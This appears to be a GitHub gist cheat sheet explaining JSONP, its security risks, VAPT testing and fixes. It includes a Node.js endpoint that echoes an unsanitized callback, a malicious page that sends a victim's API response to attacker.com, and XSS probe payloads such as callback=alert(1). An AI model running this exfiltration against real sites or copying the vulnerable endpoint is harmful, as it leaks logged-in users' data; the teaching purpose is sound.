Skip to content

Instantly share code, notes, and snippets.

@aravindkumarsvg
Last active April 17, 2026 12:48
Show Gist options
  • Select an option

  • Save aravindkumarsvg/29f52cc875e141412a7048307a1ccb5c to your computer and use it in GitHub Desktop.

Select an option

Save aravindkumarsvg/29f52cc875e141412a7048307a1ccb5c to your computer and use it in GitHub Desktop.
JSONP cheatsheet

JSONP Security Cheat Sheet


🌐 What is JSONP?

JSONP (JSON with Padding) is a technique to fetch cross-origin data using

<script> tags.

---

# βš™οΈ How It Works

## Client
```html
<script>
function cb(data) {
  console.log(data);
}
</script>
<script src="https://api.example.com/data?callback=cb"></script>
## Server Response
```javascript
cb({"user":"admin"});

JSONP Working Example (Step-by-Step)


🧩 Scenario

Goal: Fetch cross-origin data without CORS.


βš™οΈ Step 1: Client Defines Callback

<!DOCTYPE html>
<html>
<head>
  <script>
    function handleData(response) {
      console.log("Received:", response);
      document.body.innerHTML = response.user;
    }
  </script>
</head>
<body>
</body>
</html>

βš™οΈ Step 2: Client Injects Script Tag

<script src="https://api.victim.com/user?callback=handleData"></script>
  • Browser sends request
  • No CORS restriction

βš™οΈ Step 3: Server Code (Node.js)

const express = require("express");
const app = express();

app.get("/user", (req, res) => {
  const callback = req.query.callback;

  const data = {
    user: "admin",
    role: "superuser"
  };

  res.set("Content-Type", "application/javascript");
  res.send(`${callback}(${JSON.stringify(data)})`);
});

app.listen(3000);

βš™οΈ Step 4: Server Response

handleData({
  "user": "admin",
  "role": "superuser"
});

βš™οΈ Step 5: Browser Executes

  • Script is executed automatically
  • Calls handleData()

πŸ”„ Full Flow

  1. Script request sent\
  2. Server returns JavaScript\
  3. Browser executes it\
  4. Callback runs

πŸ’£ Exploitation Example

Malicious Page

<script>
function steal(data) {
  fetch("https://attacker.com/log?data=" + JSON.stringify(data));
}
</script>

<script src="https://api.victim.com/user?callback=steal"></script>

⚠️ What Happens

  1. Victim visits attacker site\
  2. Request sent with cookies\
  3. Response executes\
  4. Data exfiltrated

πŸ›‘οΈ Fix

❌ JSONP

res.send(`${callback}(${data})`);

βœ… Safe JSON + CORS

res.set("Content-Type", "application/json");
res.json(data);

🧠 Key Insight

JSONP is executable JavaScript, not just data.


πŸ”š TL;DR

  • Uses script tag\
  • No CORS restriction\
  • Executes response\
  • Leads to data leaks

🚨 Why JSONP Bypasses CORS

  • Uses
    <script>
    
    tag (not restricted like XHR/fetch)
  • Browser executes response as JavaScript

πŸ”“ Security Risks

1. XSS Injection

?callback=alert(1)

2. Data Exfiltration

  • Stealing sensitive API responses

3. No Proper Error Handling

  • No HTTP status visibility

πŸ”₯ Attack Scenario

  1. Victim logged in
  2. Attacker loads:
<script src="https://target.com/api?callback=steal"></script>
  1. Data sent to attacker

πŸ›‘οΈ Prevention

1. Disable JSONP

  • Remove callback support

2. Use CORS

Access-Control-Allow-Origin: https://trusted.com

3. Enforce Content-Type

application/json

4. SameSite Cookies

Set-Cookie: session=abc; SameSite=Lax

5. CSP

Content-Security-Policy: script-src 'self'

πŸ§ͺ VAPT Testing

Detect Parameters

callback=
jsonp=
cb=

Test Payloads

?callback=alert(1)
?callback=test123

Indicators

  • Response: callback({...})
  • Content-Type: application/javascript

🧠 Key Insight

JSONP does not bypass CORS --- it avoids it entirely using script execution.


πŸ”š TL;DR

  • Uses
    <script>
    
    β†’ no CORS restriction
  • Executes remote data
  • Vulnerable to XSS & data leaks
  • Replace with CORS
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment